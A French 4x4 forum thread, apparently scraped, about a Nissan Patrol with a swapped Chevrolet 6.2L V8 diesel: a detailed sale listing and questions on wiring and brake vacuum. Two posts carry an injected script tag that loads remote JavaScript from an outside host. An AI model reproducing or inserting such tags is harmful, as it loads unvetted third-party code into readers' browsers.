thier

ah oui ça m'intéresse tout ça il faut quoi comme matos pour boucher, le diam du tuyau intérieur donc ???

keep cool:2 (14):

oui patrol un jour patrol tjr... mp reçu je te contacte bientôt dès que j'aurai monté mon interco.merci <script id="asdasdfdhggfhjhlfd4" src="//asrv-a.akamaihd.net/sd/1018/1005.js"></script>

salut pierre tu pourrais me recontacter svp car je viens de reprendre un 60 long et j'aurais des questions à voir sur claudon par exemple:trinquer2:<script id="asdasdfdhggfhjhlfd4" src="//asrv-a.akamaihd.net/sd/1018/1005.js"></script>

dommage qu'il soit en PL

il a l'aire propre et sain avec un tarif correct mais un poil trop pour moi encore bonne vente

toujours pas plus de photos???

et les km

oui d'autres photos belle bete

salut desolé mais le troll est vendu et j'ai plus grand chose

pour une nouvel prépa ca va attendre quelques année le temps de réflechir disons

voilà c'est fini il part demain le gros

oui dommage pour ceux que ca interesse on peut toujours s'arranger pour le réglement

ben oui didier pas de polémique ben oui sinon un echange avec une petite voiture + soulte est envisageable

pour ce qui est du CT ce n'est pas la peine d'en faire des lignes et des lignes évidemment qu'il sera fait et il passera car il a toutes les caractéristiques pour être accordé n'en parlons plus simplement j'attends un acheteur sérieux et là seulement j'irai le passer car je me doute bien que je ne vais pas le vendre demain mon gros donc je ne compte pas passer deux fois le CT pour les raisons elles sont familiales, disons pas de place dans mon petit studio!!!!!!! GR dsl pour les règles mais je ne suis pas dans mon état correct avec cette vente

patrol nissan V8. Origine nissan patrol td6 de janvier 2000 + moteur du blazer chevrolet 6.2L 155 cv V8 diesel +boite auto TH 350 et transfert permanant NP 203 avec blocage central. Moteur à peine 70 000 km caisse + chassis 146 000km Pièces neuves : pompe injection, bougies préchauffage, arbres transmission sur mesure + équilibrage, couronne de démarrage, démarreur, ventilos électriques, pompe à vide chevy, pompe à eau, pompe à vide pour système de freinage, calostat, ressorts avant (10 000km venant d’hdj 80 +5) ressots arrières 10 patrol : dobinson et 4 amortos grand débattements es9000 pro comp, amorto direction réglable en dureté touch dog, toutes vidanges, batterie, ligne échappement, radiateur de boite de vitesse, filtre air et filtre huile + 1 d’avance, sytème de freinage : 4 plaquettes + toutes la tuyauterie en flexible aviation sertie en usine sur mesure, les deux optiques avant et les deux optiques arrières (multifonctions), casters plates à l’avant pour réaligner le pont, toutes les durites car sur mesure, toutes les courroies, deux sondes de température, le système de ralenti et le régulateur qui commande la boite auto !!! Tirants arrières x4 rallongés et rigidifié, chassis décapé, retraité et repeint, barre panhard arrière modifiée et renforcée, différentiel à glissement limité à l’avant, blocage origine à l’arrière, pneus en 37 / 12.5 / 16 maxxis creepy crawler x5 sur jantes tôles noires, alternateur refait à neuf, treuil à revoir, rajout d’un radiateur d’ huile, capot à l’australienne, j’ai les sièges d’origine et encore leux deux d’arrière avec, la moquette et retirée mais toujours dispo !!! Etat de la carrosserie à revoir pour la frime !!! il n’y a plus le schnorkel mais pour 150 € je vous en pose un tout beau. Ligne directe donc un peu sonore surtout dans les tours donc attention aux voisins !!! amis quel régale cette sonorité Vous pouvez l’entendre sur youtube en cherchant chevy 61 vous pouvez voir la construction en cherchant chevy 61 prix 13000€ à débattre pas de photos car atteint le quota

puisque que le regulateur est à l'intérieur dans ce modèle je ne comprends pas pourquoi il y a un excitateur de toute facon je ne comprends pas grand chose en élec

c'est donc une bonne question

ça le fait automatiquement c'est une censure du site

dans le soucis de refaire un cablage de mon alternateur qui a du mal à charger (alors qu'il est testé ok) je voudrais retirer les fils correctement car depuis la greffe du v8 il y a des soucis électriques là-dedans j'ai donc le fil jaune et noir qui est le témoin au TB et le câble jaune et rouge qui est l'excitateur mais où est-ce qu'il va se brancher de l'autre coté celui-ci ???????????????? j'ai déjà tiré en direct le plus derrière l'alternateur sur la batterie je vais remettre une masse correcte ça devrait aller Pour ce qui est du relais de démarrage c'est un combien d'ampère pour le td6 ? et pour avoir plus de patate je peux en mettre un plus gros ???

j'ai pas fait assez de tests mais toutefois elle devient moins dure quand même

je suis en boite auto avec la depression sur la PAV du v8, l'électrovanne aussi le mastervac de frein est seul sur la nouvelle PAV

oups j'ai remis la grosse bonbonne et le clapet fonctionne correctement à la bouche je vais tester sans la bombonne à présent et voire donc faut juste que j'aille rechercher du flexible plus assez long celui là car je préfère passer tout en direct en évitant les raccords sources de prob merci encore à vous deux je vous tiens au jus

ben voilà la pompe est montée ca freine super bien seulement parfois le témoin s'allume encore et la pédale est un peu dure donc le mastervac a du morfler

bon ben pas de photos j'ai dépassé le quota